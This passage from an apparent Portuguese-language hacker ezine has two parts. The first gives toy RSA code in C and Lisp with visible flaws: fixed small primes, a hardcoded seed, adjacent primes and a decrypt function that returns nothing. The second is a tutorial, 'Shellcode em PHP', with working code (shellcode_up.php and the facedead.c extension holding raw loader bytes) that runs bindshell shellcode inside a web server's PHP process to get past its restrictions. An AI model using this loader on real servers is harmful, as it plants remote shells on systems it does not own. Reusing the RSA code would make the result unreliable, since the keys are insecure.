u2 = v2;
u3 = v3;
v2 = t2;
v3 = t3;
}
printf("u2 = %d u3 = %d\n", u2, u3);
if (u2 < 0)
return (ULONG)u2 + PHI;
else
return (ULONG)u2;
}
/******************************************************************************/
/* Calculo do GREATEST COMMON DIVISOR */
/* ou seja, Maior Divisor Comum ou MDC */
/******************************************************************************/
ULONG RSA_GCD( ULONG e, ULONG PHI ) {
ULONG a, great;
if (e > PHI) {
while (e%PHI != 0) {
a = e%PHI;
e = PHI;
PHI = a;
}
great = PHI;
} else {
while (PHI%e != 0) {
a = PHI%e;
PHI = e;
e = a;
}
great = e;
}
return great;
}
/******************************************************************************/
/* Calculo necessario para encontrar o E da formula: */
/* E satisfaz a condição: MDC( E, PHI ) == 1 */
/******************************************************************************/
ULONG RSA_tofindE( ULONG PHI, ULONG P, ULONG Q ) {
ULONG great;
ULONG e;
great = 0;
e = 2;
while (great != 1) {
e = e + 1;
great = RSA_GCD(e,PHI);
}
return e;
}
/******************************************************************************/
/* Aqui vamos usar os numeros primos PRIMO1 e PRIMO2 definidos lah em cima */
/* para gerar as chaves publicas e privadas */
/******************************************************************************/
void RSA_generateKey( RSA_KEY * key ){
ULONG P, Q, PHI;
P = PRIMO1 ;
Q = PRIMO2 ;
PHI = (P - 1) * (Q - 1);
key->publicKey.E = RSA_tofindE( PHI, P, Q );
key->publicKey.N = P * Q;
key->D = RSA_extend( key->publicKey.E, PHI );
printf( "PHI %u ", PHI );
printf( " N %u ", key->publicKey.N );
printf( " E %u ",key->publicKey.E );
printf( " D %u ",key->D );
printf( "\n\n" );
}
/******************************************************************************/
/* Funcao usada para encriptar um numero ULONG data */
/* precisamos apenas da chave publica */
/* */
/* Cripted = Message^E mod N; */
/******************************************************************************/
ULONG RSA_PublicEncrypt( ULONG data, RSA_PublicKEY publicKey ){
ULONG C, F, i;
/* Metodo ruin:
C = (ULONG)pow(data, publicKey.E) % publicKey.N;
Este metodo eh ruin pois vc vai elevar um numero grande a outro muito
grande e depois com esse resultado vai fazer um modulo pelo numero N
Ao inves de fazer assim, podemos simplismente fazer um loop onde vamos
multiplicando o numero por ele mesmo e jah vai fazendo modulo por N
Assim economizamos precisao, pois nunca teremos um numero super
gigantesco, ele vai ficar sempre no maximo do tamanho de N
*/
if ( publicKey.E % 2 == 0) {
C = 1;
F = (data*data) % publicKey.N;
for ( i = 1; i <= publicKey.E/2; i++) {
C = (F*C) % publicKey.N;
}
} else {
C = data;
F = (data*data) % publicKey.N;
for ( i = 1; i <= publicKey.E/2; i++) {
C = (F*C) % publicKey.N;
}
}
printf( " %u Encripted is:", data );
printf(" %u \n", C );
return C;
}
/******************************************************************************/
/* funcao usada para desencriptar um numero ULONG C */
/* Precisaremos da chave privada */
/* */
/* Message = Cripted^D mod N */
/******************************************************************************/
ULONG RSA_PrivateDecrypt( ULONG C, RSA_KEY key ){
ULONG G, F;
ULONG i;
/* metodo Ruin:
G = (ULONG)(pow( C, key.D )) % key.publicKey.N;
pelo mesmo motivo anterior
*/
if ( key.D % 2 == 0) {
G = 1;
F = (C*C) % key.publicKey.N;
for ( i = 1; i <= key.D/2; i++) {
G = (F*G) % key.publicKey.N;
}
} else {
G = C;
F = (C*C) % key.publicKey.N;
for ( i = 1; i <= key.D/2; i++) {
G = (F*G) % key.publicKey.N;
}
}
printf( " %u Decripted is:", C );
printf( " %u \n\n", G );
}
/* Fuckin Main Function */
int main(){
RSA_KEY key; /* declaracao da nossa chave */
printf("\n");
RSA_generateKey( &key ); /* Geramos a chave */
/* Encriptamos o numero 123456789 */
ULONG c = RSA_PublicEncrypt( (ULONG)(123456789), key.publicKey );
/* Pegamos o numero encriptado e descriptografamos para ver se fica
igual ao inicial */
RSA_PrivateDecrypt( c, key );
printf("\n");
return 0;
}
/******************************************************************************/
/* END OF SIMPLE RSA IN C */
/******************************************************************************/
--------------------------------------------------
6.2 :: Simple RSA in LISP
--------------------------------------------------
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; SIMPLE RSA IN LISP ;;
;; By RoOtLiQuId ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; ;;
;; ESTA VERSAO ESTA IMPLEMENTADA DE FORMA BEM SIMPLES, MAS O LISP USA ;;
;; ARITMETICA ABITRARIA POR PADRAO, POR ISSO PODEMOS GERAR CHAVES RSA DE ;;
;; QUAISQUER TAMANHOS DE BITS: 512, 1024, 2048, MAS EU PERCEBI QUE CHAVES ;;
;; MAIORES QUE 64 BITS FAZEM OS CALCULOS FICAREM MUITO LENTOS, POIS NESSA ;;
;; IMPLEMENTACAO EU NAO OTIMIZEI NADA ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Esquema do RSA: ;;
;; Chave P?blica: E e N ;;
;; Chave Privada: D e N ;;
;; ;;
;; N = P * Q ;;
;; PHI = (P-1)*(Q-1) ;;
;; E satisfaz a condi??o: MDC( E, PHI ) == 1 ;;
;; D satisfaz a condi??o: ( E*D ) % PHI == 1 ;;
;; ;;
;; Encriptando: ;;
;; C = M^E mod N ;;
;; ;;
;; Desencriptando: ;;
;; M = C^D mod N ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; findE_helper
;;; Desc: Funcao auxiliar de findE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defun findE_helper ( phi p q great e )
(if (= great 1)
(- e 1)
(findE_helper phi p q (GCD e phi) (+ e 1) )
)
)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; findE
;;; Desc: Funcao usada para encontrar o valor de E que satizfaz a
;;; condicao MDC( E, PHI ) == 1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defun findE ( phi p q )
(findE_helper phi p q 0 2 )
)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; extend_helper
;;; Desc: Funcao auxiliar de extend
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defun extend_helper( e phi u2 u3 v2 v3 )
(let ( (q (floor (/ u3 v3 ) ) ) )
(let ( (t2 (- u2 (* q v2 ) ) )
(t3 (- u3 (* q v3 ) ) )
)
(if (not (= t3 0) )
(extend_helper e phi v2 v3 t2 t3 )
(if (< v2 0)
(+ v2 phi)
v2
)
)
)
)
)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; extend
;;; Desc: Funcao baseada no extended euclidian algorithm para
;;; encontrar D tal que D satisfaz a condi??o: ( E*D ) % PHI == 1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defun extend( e phi )
(extend_helper e phi 0 phi 1 e )
)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; expt_mod_helper
;;; Desc: Funcao auxiliar de expt_mod
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defun expt_mod_helper( x y n k )
(if (= y 1)
k
(expt_mod_helper x (- y 1) n (mod (* k x ) n ) )
)
)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; expt_mod
;;; Desc: Funcao gambiarra matematica usada pra fazer x^y % n
;;; sem precisar calcular o valor de x^y, pois esse valor poderia
;;; ser muito alto.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defun expt_mod( x y n )
(expt_mod_helper x y n x )
)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; encript
;;; Desc: Funcao usada para encriptar um dado numero com a chave
;;; publica E e N previamente calculada
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defun encript ( number e n )
;(mod (expt number e) n)
(expt_mod number e n )
)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; decript
;;; Desc: Funcao usada para desencriptar um dado numero com a chave
;;; privada D e N previamente calculada
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defun decript ( number d n )
;(mod (expt number d) n)
(expt_mod number d n )
)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; chamadas e calculos:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Numeros Primos definidos
(setf P 1021 )
(setf Q 2689 )
(setf N (* P Q) )
(setf PHI (* (- P 1 ) (- Q 1 ) ) )
(setf E (findE PHI P Q ) )
(setf D (extend E PHI ) )
'Encriptando_o_numero_1234567
(setf enc (encript 1234567 E N ) )
'Decriptando
(setf dec (decript enc D N ) )
'resultado
dec
(quit)
--------------------------------------------------
6.3 :: COMPLETE RSA IN C USING GNU MP LIBRARY
--------------------------------------------------
/******************************************************************************/
/* COMPLETE RSA IN C USING GNU MP LIBRARY */
/* BY RoOtLiQuId */
/******************************************************************************/
/* NESTA VERSAO EU USO A GNU MP LIBRARY PARA FAZER OS CALCULOS COM PRECISAO */
/* ABITRARIA, OU SEJA, PODEMOS FAZER CALCULOS COM NUMEROS MAIORES QUE 64 BITS */
/* PORTANTO DAH PRA FAZER RSA COM CHAVES BEM GRANDES, 512, 1024, */
/* 2048 BITS E MAIORES */
/* */
/* PARA SABER MAIS E BAIXAR A GNU MP ENTRE EM: */
/* http://www.swox.com/gmp/ */
/******************************************************************************/
/* */
/* OBSERVACOES: */
/* Esse programa pode usar qualquer quantidade de bits para */
/* gerar as chaves RSA */
/* Ele apenas encripta e desencripta um numero qualquer com o tamanho maximo */
/* de bits da chave RSA */
/* Para encriptar um texto ou um arquivo qualquer voce vai ter que fazer uma */
/* funcao que quebre o texto ou arquivo em varios pedacos e codifique esses */
/* pedacos em numeros que serao encriptados, de forma que posteriormente esses*/
/* numeros possam ser convertidos novamente no texto ou no arquivo original */
/* */
/* Se eu tiver tempo, depois vou fazer uma versao completa que pode encriptar */
/* e descriptar qualquer arquivo ou texto ou outro tipo de dados */
/******************************************************************************/
#include
#include
#include
typedef struct RSA_PublicKEY {
mpz_t N;
mpz_t E;
} RSA_PublicKEY;
typedef struct RSA_KEY {
/* Private Key : */ mpz_t D;
RSA_PublicKEY publicKey;
} RSA_KEY;
/******************************************************************************/
/* Gerar os dois numeros primos randonomicos */
/******************************************************************************/
void genRandomPrimes( mpz_t* prime1, mpz_t* prime2, char* seed_num,
unsigned long int seed_tick, unsigned int keySize )
{
gmp_randstate_t state;
mpz_t rand_number;
mpz_t seed;
mpz_init ( rand_number );
gmp_randinit_default( state );
printf( "%s", seed_num );
if( mpz_init_set_str (seed, seed_num, 10) != 0 ){
printf( "Erro fazendo mpz_init_set_str \n" );
exit(0);
}
if( seed_tick <=0 )
seed_tick = 1;
mpz_mul_ui( seed, seed, seed_tick );
gmp_randseed( state, seed );
mpz_urandomb( rand_number, state, keySize/2 );
mpz_nextprime( *prime1, rand_number);
mpz_nextprime( *prime2, *prime1);
gmp_randclear( state );
mpz_clear( seed );
mpz_clear( rand_number );
}
/******************************************************************************/
/* Calcular o E */
/******************************************************************************/
void toFindE( mpz_t* PHI, mpz_t* e )
{
mpz_t great;
mpz_init_set_ui ( great , 0 );
mpz_set_ui ( *e, 2 );
while ( mpz_cmpabs_ui( great, 1) != 0 ) {
mpz_add_ui ( *e, *e, 1);
mpz_gcd ( great, *e , *PHI);
}
mpz_clear( great );
}
/******************************************************************************/
/* Calcular o D */
/******************************************************************************/
void extend( mpz_t* E, mpz_t* PHI, mpz_t* D) {
mpz_t q, u2, u3, v2, v3, t2, t3;
mpz_init( q );
mpz_init( u2 );
mpz_init( u3 );
mpz_init( v2 );
mpz_init( v3 );
mpz_init( t2 );
mpz_init( t3 );
mpz_set_ui (u2, 0);
mpz_set (u3, *PHI);
mpz_set_ui (v2, 1);
mpz_set (v3, *E);
while ( mpz_sgn( v3 ) != 0 )
{
mpz_cdiv_q ( q, u3, v3);
mpz_set (t2, u2);
mpz_submul (t2, q, v2); /* t2 = t2 - q times v2. */
mpz_set (t3, u3);
mpz_submul (t3, q, v3); /* t3 = t3 - q times v3. */
mpz_set (u2, v2);
mpz_set (u3, v3);
mpz_set (v2, t2);
mpz_set (v3, t3);
}
if ( mpz_sgn( u2 ) < 0)
mpz_add ( *D, u2, *PHI);
else
mpz_set (*D, u2);
mpz_clear( q );
mpz_clear( u2 );
mpz_clear( u3 );
mpz_clear( v2 );
mpz_clear( v3 );
mpz_clear( t2 );
mpz_clear( t3 );
}
/******************************************************************************/
/* Gerar a chave, sem verificar se eh uma chave que funciona */
/******************************************************************************/
void makeKey( RSA_KEY* key, char* seed_num,
unsigned long int seed_tick, unsigned int keySize )
{
mpz_t prime1, prime2, prime1b, prime2b;
mpz_t PHI;
mpz_init ( prime1 );
mpz_init ( prime2 );
mpz_init ( PHI );
mpz_init ( key->publicKey.N );
mpz_init ( key->publicKey.E );
mpz_init ( key->D );
genRandomPrimes( &prime1, &prime2, seed_num, seed_tick, keySize );
printf( "Prime1 = %s \n", mpz_get_str (NULL, 10, prime1) );
printf( "Prime2 = %s \n", mpz_get_str (NULL, 10, prime2) );
/* N = P * Q */
mpz_mul ( key->publicKey.N, prime1, prime2);
printf( "N = %s \n", mpz_get_str (NULL, 10, key->publicKey.N) );
/* PHI = (P-1)*(Q-1) */
mpz_init ( prime1b );
mpz_init ( prime2b );
mpz_sub_ui( prime1b, prime1, 1);
mpz_sub_ui( prime2b, prime2, 1);
mpz_mul ( PHI, prime1b, prime2b );
mpz_clear( prime1b );
mpz_clear( prime2b );
printf( "PHI = %s \n", mpz_get_str (NULL, 10, PHI) );
/* E satisfaz a condição: MDC( E, PHI ) == 1 */
toFindE( &PHI, &key->publicKey.E );
printf( "E = %s \n", mpz_get_str (NULL, 10, key->publicKey.E) );
/* D satisfaz a condição: ( E*D ) % PHI == 1 */
extend( &key->publicKey.E, &PHI, &key->D );
printf( "D = %s \n", mpz_get_str (NULL, 10, key->D) );
mpz_clear( prime1 );
mpz_clear( prime2 );
mpz_clear( PHI );
}
/******************************************************************************/
/* Encriptar */
/******************************************************************************/
void publicEncrypt( mpz_t data, RSA_PublicKEY publicKey, mpz_t cripted )
{
mpz_powm ( cripted, data, publicKey.E, publicKey.N);
}
/******************************************************************************/
/* Decriptar */
/******************************************************************************/
void publicDecrypt( mpz_t cripted, RSA_KEY key, mpz_t data )
{
mpz_powm ( data, cripted, key.D, key.publicKey.N);
}
/******************************************************************************/
/* Gerar a chave, e verificar se eh uma chave que funciona, se nao for, */
/* gera outra aumentando o seed_tick */
/* Eu tive que fazer isso, pois a funcao que gera os dois numeros primos pode */
/* errar, ela nao eh 100% confiavel, ela pode gerar um numero que nao eh primo*/
/* e o algoritmo do RSA soh funciona quando os dois numeros sao primos */
/* verdadeiros, por isso temos que testar se a chave funciona */
/******************************************************************************/
void InitAndMakeValidKey( RSA_KEY* key, char* seed_num, unsigned int keySize )
{
unsigned long int seed_tick = 1;
mpz_t data, cripted, decripted;
mpz_init( cripted );
mpz_init( decripted );
mpz_init_set_str( data, "12345", 10);
do{
makeKey( key, seed_num, seed_tick, keySize );
publicEncrypt( data, key->publicKey, cripted );
publicDecrypt( cripted, *key, decripted );
seed_tick++;
}while( mpz_cmp( data, decripted ) != 0 );
}
/* Fuckin Main Function */
int main()
{
/* OBS: a random seed deve ser uma string de um numero bem grande */
/* O melhor seria pedir pro usuario entrar com um numero aleatorio */
#define RANDOM_SEED "9423477068029340805793923728080760045047333655414855309485"
/* Tamanho em BITS da chave RSA */
#define KEY_SIZE 1024
RSA_KEY key;
InitAndMakeValidKey( &key, RANDOM_SEED, KEY_SIZE );
mpz_t data, cripted, decripted;
mpz_init( cripted );
mpz_init( decripted );
/* Inicializar os dados que serao encriptados */
mpz_init_set_str( data, "55555555555555555555555555555555555555555555", 10);
printf( "\n\n\n" );
printf( "N = %s \n", mpz_get_str (NULL, 10, key.publicKey.N) );
printf( "DATA = %s \n", mpz_get_str (NULL, 10, data) );
/* encriptar */
publicEncrypt( data, key.publicKey, cripted );
publicDecrypt( cripted, key, decripted );
/* decriptar */
printf( "CRIPTED = %s \n", mpz_get_str (NULL, 10, cripted) );
printf( "DECRIPTED = %s \n", mpz_get_str (NULL, 10, decripted) );
return 0;
}
/******************************************************************************/
/* END OF COMPLETE RSA IN C USING GNU MP LIBRARY */
/******************************************************************************/
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[04]-=[Shellcode em PHP]-=|tDs|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
________________
| [1] INTRODUÇÃO |
`================
Sometimes, PHP "as is" simply isn't enough. Although these cases are rare
for the average user, professional applications will soon lead PHP to the edge
of its capabilities, in terms of either speed or functionality. New
functionality cannot always be implemented natively due to language
restrictions and inconveniences that arise when having to carry around a huge
library of default code appended to every single script, so another method
needs to be found for overcoming these eventual lacks in PHP.
As soon as this point is reached, it's time to touch the heart of PHP and
take a look at its core, the C code that makes PHP go.
http://www.zend.com/apidoc/zend.php
External modules can be loaded at script runtime using the function dl().
This function loads a shared object from disk and makes its functionality
available to the script to which it's being bound. After the script is
terminated, the external module is discarded from memory.
http://www.zend.com/apidoc/zend.possibilities.php
A criação de módulos em PHP pode ser algo muito interessante, desde que
os propósitos desta criação sejam interessantes. Ultrapassar os limites de
alguma coisa normalmente é interessante. Então, podemos tentar ultrapassar os
limites do PHP e executar shellcodes em scripts nesta linguagem.
____________________________________________
| [2] O QUE SERÁ NECESSÁRIO E COMO SERÁ FEITO|
`============================================
Para executarmos um shellcode utilizando um script em PHP, serão
necessários dois itens:
- O shellcode que se deseja executar;
- Alguma função que execute shellcodes armazenados em segmentos de memória
compartilhada.
O primeiro item é fácil de se adquirir (seja fazendo um "na unha" ou
procurando no google). Para o segundo, existe uma ferramenta desenvolvida
pelo sloth do nopninjas (encontrei esta ferramenta no site
http://www.shellcode.com.ar/linux/lnx-shm_shell.c ). Usarei ele, com algumas
modificações.
Será feito da seguinte forma:
1 - Primeiro, deve-se colocar o shellcode em um segmento de memória
compartilhada em um determinado id. Para fazer isso são necessários dois passos:
a) Criar o segmento de memória compartilhada, utilizando a função
shmop_open (). Uma breve descrição desta função, do manual do php:
int shmop_open ( int key, string flags, int mode, int size)
shmop_open() pode criar ou abrir um bloco de memória compartilhada.
shmop_open() pega 4 parâmetros: chave, que é usado pelo id do sistema para
o bloco de memória compartilhada, esse parâmetro pode ser passado como
decimal ou hexadecimal. O segundo parâmetro são flags que você pode usar:
* "a" para acesso (seta SHM_RDONLY para shmat) use essa flag quando você
precisar abrir um bloco de memória compartilhada existente como somente
leitura
* "c" para criar (seta IPC_CREATE) use essa flag quando você precisar criar
um novo bloco de memória compartilhada ou se um segmento com a mesma chave
existir, tente abrir isso para ler e escrever
* "w" para ler & acesso à escrita use essa flag quando você precisar ler e
escrever para um segmento de bloco de memória compartilhada, use essa flag
na maior parte dos casos.
* "n" cria um novo segmento de memória (seta IPC_CREATE|IPC_EXCL) use essa
flag quando você quer criar um novo segmento de memória compartilhada mas
se um já existir com a mesma flag, irá falhar. Isso é útil para propósitos
de segurança, usando isso você pode previnir rápidos exploits.
O terceiro parâmetro é o modo, que são permissões que você deseja designar
para o seu segmento de memória, estas são as mesmas permissões para o
arquivo. Permissões precisam ser passadas no formato octal ex. 0644.
O último parâmetro é o tamanho do bloco de memória compartilhada que você
deseja criar em bytes.
b) Colocar o shellcode no segmento de memória compartilhada criado
anteriormente, utilizando a função shmop_write (). Uma breve descrição
desta função, do manual do php:
int shmop_write ( int shmid, string data, int offset)
shmop_write() irá escrever uma string em um bloco de memória compartilhada.
shmop_write() pega 3 parâmetros: shmid, que é o identificador do bloco de
memória compartilhada criado por shmop_open(), dados, uma string que você
quer escrever em um bloco de memória compartilhada e o último, que
especifica onde começa a escrita de dados dentro do segmento de memória
compartilhada.
2 - Uma vez com o shellcode ja na memória, é necessario executar o conteúdo
deste segmento como se fosse um código executável (e é). Existem dois modos
(sim, existem mais) para se executar o shellcode.
a) Compilar a ferramenta que foi citada acima e executa-la. Mas, se posso
executar um binário que eu mesmo criei no servidor por que eu iria querer
executar um shellcode em memória compartilhada, se eu posso criar um
binário que faça a mesma coisa que o shellcode? Talvez por diversão.
Então, parte-se do suposto que você não pode (ou não quer) executar um
binário através das funções de execução do PHP (system, shell_exec, ...)
ou via linha de comando. Temos então a opção b:
b) Criar uma extensão, em c, que desempenhe o mesmo papel da ferramenta
citada anteriomente. Nesta extensão, exportariamos uma função que, quando
chamada, executasse o segmento de memória compartilhada que fosse indicado.
Por motivos óbvios, será usada a segunda opção.
______________________________________
| [3] COLOCANDO O SHELLCODE NA MEMÓRIA |
`======================================
Esta provavelmente seja a parte mais fácil. Não estarei mostrando como
criar um shellcode, por já ter muito material bom na internet (colocarei
alguns links ao fim do texto, onde você poderá aprender a desenvolver
shellcodes e também pegar alguns exemplos prontos.
Como dito anteriormente, o shellcode será colocado na memória utilizando
as funções de memória compartilhada. Utilizarei um shellcode de uma bindshell.
Vejamos como pode ser feito:
---shellcode_up.php-----------------------------------------------------------
';
/*
Deleta o bloco de memoria compartilhada, 15 segundos apos criar
*/
sleep (15);
if(!shmop_delete($shmAbre)) {
die ("Erro ao deletar bloco.");
}
/*
Fecha o bloco de memoria compartilhada
*/
shmop_close($shmAbre);
echo 'Bloco destruido.';
?>
---fim de shellcode_up.php----------------------------------------------------
Agora, observando os segmentos de memória compartilhada, antes de executar
o script, temos:
$ whatis ipcs
ipcs (8) - provide information on ipc facilities
$ ipcs -m
------ Shared Memory Segments --------
key shmid owner perms bytes nattch status
0x00000000 11862018 tds 600 393216 2 dest
0x00000000 11894787 tds 600 393216 2 dest
0x00000000 14090244 tds 777 393216 2 dest
0x00000000 22511621 root 644 151552 2 dest
Após a execução do script, temos o seguinte (durante 15 segundos apenas,
conforme informado no script):
$ ipcs -m
------ Shared Memory Segments --------
key shmid owner perms bytes nattch status
0xfacedead 89292801 apache 666 92 1 <-------------.
0x00000000 11862018 tds 600 393216 2 dest |
0x00000000 11894787 tds 600 393216 2 dest |
0x00000000 14090244 tds 777 393216 2 dest |
0x00000000 22511621 root 644 151552 2 dest |
|
nosso shellcode está aqui <-------+
Como nota-se, o segmento foi criado. O proprietário é o usuário apache
(o mesmo que executa o processo do servidor apache) e as permissões de acesso
estão em 666 (as permissões são semelhantes as permissões de acesso a
arquivos), conforme foi indicado no script.
Foi dito que a para a execução de shellcode utilizando scripts em php eram
necessários dois passos:
"Primeiro deve-se colocar o shellcode em um segmento de memória
compartilhada
em um determinado id".
O primeiro passo então já foi concretizado. O shellcode já pode ser
colocado na memória e temos o id do segmento (0xfacedead). O segundo passo é:
"Uma vez com o shellcode já na memória, é necessario executar o conteúdo
deste segmento como se fosse um código executável (e é)".
Como foi visto, a execução deste segmento de memória compartilhada se dará
pela utilização de um módulo. Vamos a criação dele agora.
_______________________
| [4] CRIAÇÃO DO MÓDULO |
`=======================
A criação do módulo será feita utilizando a última versão do PHP (php 5).
Primeiramente será necessário baixar o fonte dele, no endereço
http://br.php.net/get/php-5.0.0.tar.bz2/from/a/mirror . Após copia-lo,
descompacte-o em algum diretório. Descompactei ele em "/tmp/php-5.0.0/".
A criação de módulos não será explicada detalhadamente, pois não é este
o objetivo, então, apenas alguns comentários serão feitos durante este
desenvolvimento.
Uma vez no diretório do fonte do PHP, vemos diversos sub-diretórios. Por
enquanto é necessário apenas entrar no sub-diretório "ext/"
("/tmp/php-5.0.0/ext/"). Ali encontra-se um shellscript que cria o "framework"
básico para a criação do módulo, o ext_skel. A utilização dele é bastante
simples:
tds@matrix:/tmp/php-5.0.0/ext$ ./ext_skel --extname=facedead
Desta forma, será criado um diretório chamado "facedead" juntamente com
oito arquivos e um sub-diretório. Apenas três destes arquivos são importantes,
"config.m4", "facedead.c" e "php_facedead.h". Vejamos agora qual será (não
como ele está logo após a criação, mas como ele deve ficar) o conteúdo de cada
um dos três arquivos:
---config.m4------------------------------------------------------------------
PHP_ARG_WITH(facedead, for facedead support,
[ --with-facedead Include facedead support])
if test "$PHP_FACEDEAD" != "no"; then
PHP_NEW_EXTENSION(facedead, facedead.c, $ext_shared)
fi
---fim de config.m4-----------------------------------------------------------
---php_facedead.h-------------------------------------------------------------
#ifndef PHP_FACEDEAD_H
#define PHP_FACEDEAD_H
extern zend_module_entry facedead_module_entry;
#define phpext_facedead_ptr &facedead_module_entry
#ifdef PHP_WIN32
#define PHP_FACEDEAD_API __declspec(dllexport)
#else
#define PHP_FACEDEAD_API
#endif
#ifdef ZTS
#include "TSRM.h"
#endif
PHP_MINIT_FUNCTION(facedead);
PHP_MSHUTDOWN_FUNCTION(facedead);
PHP_RINIT_FUNCTION(facedead);
PHP_RSHUTDOWN_FUNCTION(facedead);
PHP_MINFO_FUNCTION(facedead);
PHP_FUNCTION(exec_shellcode);
#ifdef ZTS
#define FACEDEAD_G(v) TSRMG(facedead_globals_id, zend_facedead_globals *, v)
#else
#define FACEDEAD_G(v) (facedead_globals.v)
#endif
#endif
---fim de php_facedead.h------------------------------------------------------
---facedead.c-----------------------------------------------------------------
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include "php.h"
#include "php_ini.h"
#include "ext/standard/info.h"
#include "php_facedead.h"
static int le_facedead;
function_entry facedead_functions[] = {
PHP_FE(exec_shellcode, NULL)
{NULL, NULL, NULL}
};
zend_module_entry facedead_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
"facedead",
facedead_functions,
PHP_MINIT(facedead),
PHP_MSHUTDOWN(facedead),
PHP_RINIT(facedead),
PHP_RSHUTDOWN(facedead),
PHP_MINFO(facedead),
#if ZEND_MODULE_API_NO >= 20010901
"0.1",
#endif
STANDARD_MODULE_PROPERTIES
};
#ifdef COMPILE_DL_FACEDEAD
ZEND_GET_MODULE(facedead)
#endif
PHP_MINIT_FUNCTION(facedead)
{
return SUCCESS;
}
PHP_MSHUTDOWN_FUNCTION(facedead)
{
return SUCCESS;
}
PHP_RINIT_FUNCTION(facedead)
{
return SUCCESS;
}
PHP_RSHUTDOWN_FUNCTION(facedead)
{
return SUCCESS;
}
PHP_MINFO_FUNCTION(facedead)
{
php_info_print_table_start();
php_info_print_table_header(1, "facedead by tDs - tds@m...");
php_info_print_table_end();
}
PHP_FUNCTION(exec_shellcode)
{
char shm[] =
"\x31\xff\x31\xf6\x31\xd2\xb9"
"\xad\xde\xce\xfa\x31\xdb\xb3\x17\x31"
"\xc0\xb0\x75\xcd\x80\x31\xff\xbe\xfa\xff\xff\xbf\x31\xd2\x89\xc1"
"\x31\xdb\xb3\x15\x31\xc0\xb0\x75\xcd\x80\xb8\xfa\xff\xff\xbf\xff"
"\x30\xc3";
void (*shell)() = (void *)&shm;
zend_printf ("Shell code executado.");
shell ();
}
---fim de facedead.c----------------------------------------------------------
Resumidamente, temos o arquivo de configuração, um header e o arquivo
principal.
No arquivo principal, temos diversas funcões, algumas requeridas e
outras não. A função que nos interessa é a "PHP_FUNCTION(exec_shellcode)".
Esta função, que estará embutida no módulo, criará uma outra função, acessível
aos scripts em PHP, chamada "exec_shellcode ()". Esta função contém um
"shellcode que executa shellcodes" (!). Em uma parte deste shellcode, temos
o id do segmento de memória compartilhada que contém o nosso shellcode, o que
será executado. O trecho é o seguinte: "\xad\xde\xce\xfa". (A versão
original utiliza a id "0xdeadbeef". A modificação se deu exclusivamente para
que o id tivesse o mesmo nome do projeto). O original se encontra em
http://www.shellcode.com.ar/linux/lnx-shm_shell.c
Após ter os arquivos prontos, iremos trabalhar no diretório
